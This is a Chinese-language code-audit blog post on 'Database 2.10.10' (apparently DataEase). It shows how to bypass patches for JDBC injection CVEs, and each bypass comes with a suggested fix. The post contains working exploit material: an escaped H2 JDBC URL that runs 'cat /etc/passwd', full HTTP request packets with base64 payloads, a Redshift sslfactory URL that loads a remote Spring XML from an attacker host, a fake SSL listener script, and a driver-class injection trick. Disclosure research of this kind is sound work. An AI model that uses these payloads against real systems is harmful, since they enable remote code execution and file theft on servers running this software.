Database 2.10.10 代码审计

0x01 h2 绕过

Database 2.10.10 中存在CVE-2025-49002的绕过。 core/core-backend/src/main/java/io/dataease/datasource/type/H2.java

image.png
可以看⻅只对StringUtils.containsAnyIgnoreCase(jdbc, “INIT”, “RUNSCRIPT”)) 进⾏检测。 然是根据h2 的特性在字符串中插⼊\ 进⾏转译,那么就可以绕过检测。

1
{"dataBase":"","jdbc":"jdbc:h2:mem:test;in\\it=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"123"," password":"123","host":"","authMethod":"","port":0,"initialPoolSize":5,"minPoolSize":5, "maxPoolSize":5,"queryTimeout":30}

这是我对应的poc

image.png

1
2
3
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 909 Accept: application/json, text/plain, */* X-DE-TOKEN: your token Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close

{"id": "", "name": "11", "description": "", "type": "h2", "apiConfiguration": [], "paramsConfiguration": [], "enableDataFill": false, "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSV NUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge 2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRS dW50aW1lKCkuZXhlYyhcImNhdCAvZXRjL3Bhc3N3ZFwiKS5nZXRJbnB1dFN0cmVhbSgpKS51c2VEZWxpbWl0ZXI oXCJcXEFcIikubmV4dCgpXFw7dGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24ocylcXDt9JCRcXDtDQUxMIE VYRUMoKVxcOyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiO iIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJw b3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnl UaW1lb3V0IjozMH0=" }

数据包
image.png
命令执⾏结果直接放回在数据包⾥

修复

if (url.contains(“create trigger”) || url.contains(“create alias”) || url.contains(“runscript from”) || url.contains(“allowloadlocalinfile”) || url.contains(“allowloadlocalinfileinpath”) || url.contains(“uselocalinfile”) || url.contains(“autodeserialize”) || url.contains(“detectcustomcollations”) || url.contains(“serverstatusdiffinterceptor”)) { throw new IllegalArgumentException(“Invalid JDBC URL: contains malicious characters.”); } 建议对jdbcurl 去除转议后,然后对⽐⿊名单。

0x02 Redshift jdbc 攻击 (CVE-2025-48999 绕过)

core/core-backend/src/main/java/io/dataease/datasource/type/Redshift.java

我⻔知道 redshift是兼容 PostgreSQL 语法,

在postgresql中,除了”socketFactory”, “socketFactoryArg”这样参数外,还有”sslfactory”,”sslfactory” 有这⼀样 的功能。区别再去sslfactory需要建⽴连接后触发。类似的还有
sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName

image.png
所以这⾥⿊名单不完整。

我们可以使⽤下⾯的payload绕过检查。

1
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml

因为要建⽴连接后才能出发,这⾥使⽤⼀个脚本监听5432,当有连接时返回⼀个s,让服务器以为建⽴ssl 连接, 以便触发FileSystemXmlApplicationContext加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

def run_server():

# 创建TCP套接字 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置套接字选项,允许地址重⽤ server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 绑定地址和端⼝ server_address = ('', 5432) server_socket.bind(server_address)

# 开始监听,最⼤连接数为5 server_socket.listen(5) print(f"服务器监听在端⼝ {server_address[1]}")

while True:

# 接受客户端连接 client_socket, client_address = server_socket.accept() print(f"接受来⾃ {client_address} 的连接")

try:

# 发送字符'S'到客户端 client_socket.sendall(b'S') finally:

# 关闭客户端连接 client_socket.close()

if __name__ == "__main__":

run_server()

然后准备⼀个 xml poc

1
2
3
4
5
6
7
8
9
10
11






touch /tmp/rce




然后在本⾥分别使⽤python启动

填⼊payload

1
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml

image.png
点击后 除发加载
image.png
对应数据包

1
2
3
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 652 Accept: application/json, text/plain, */* X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzQ5MTU0NTI0fQ.i5s KbBjb3myWOVZlGDXTh-TevP2HYlZ6idyRScjwXwI Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close {"id":"","name":"1","description":"","type":"redshift","apiConfiguration": [],"paramsConfiguration":

[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmNVcmwiOiJqZGJjOnJl ZHNoaWZ0Oi8vMTAuMjExLjU1LjE0OjU0MzIvO3NzbGZhY3Rvcnk9b3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh 0LnN1cHBvcnQuRmlsZVN5c3RlbVhtbEFwcGxpY2F0aW9uQ29udGV4dDtzc2xmYWN0b3J5YXJnPWh0dHA6Ly8xMC 4yMTEuNTUuMTQ6ODg4OC9leHAueG1sIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiL CJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJob3N0IjoiIiwiYXV0aE1ldGhv ZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo 1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}

成功rce。

image.png

修复

sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName 、sslfactory”,”sslfactory” 加⼊⿊

名单

0x03 JDBC _datasourceType bypass getjdbc_check

o.dataease.datasource.provider.CalciteProvider#getConnection

image.png
这⾥只要不穿h2 ,也就是不⾛h2的检查了

image.png
image.png
如果我们传别的type,⽐如oracle,或者直接在case选择⼀个没有处理的 然后在configuration.getJdbc() 就的检查就是oracle 的jdbc,这样就绕过了h2的检查⽅式。然后最后的 drivername 是直接从configuration 中获取。 configuration 我们可控,就是我们传⼊的json

image.png

image.png

也就是我可以在这⾥插⼊“driver”:“org.h2.Driver” , 直接我就控制driverclass ,后⾯还是⾛h2 加载。

image.png
总结就是 在传type的时候传⼊不是h2类型,那么在getjdbc()的时候就会绕过h2的检查。
若果configuration中有dirvername,就会从中获取driverclass,这⾥我们可以插⼊“driver”:“org.h2.Driver”,这 样就绕过修复⽅案进⾏绕过。

H2 rce 绕过列⼦

image.png

mysql读⽂件列⼦

image.png

起⼀个恶意mysql服务器 连接后,绕过⿊名单,直接读取本地⽂件

修复

1
2
3
4
5
6
7
8
9
10
11
String jdbcurl = null;
DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasourceRequest.getDatasource().getType());
Properties props = new Properties();
DeDriver deDriver = null;
switch (datasourceType) {
case mysql:
defaultDriver = "com.mysql.jdbc.Driver";
jdbcurl = mysqlConfiguration.getJdbc();
....
}
conn = driverClass.connect(jdbcurl, props);

确保jdbc都通过switch语句进行处理,然后在传入connect()而不是直接从configuration.getJdbc()直接获取。


Database 2.10.10 代码审计
https://unam4.github.io/2025/12/01/Database-2-10-10-代码审计/
作者
unam4
发布于
2025年12月1日
许可协议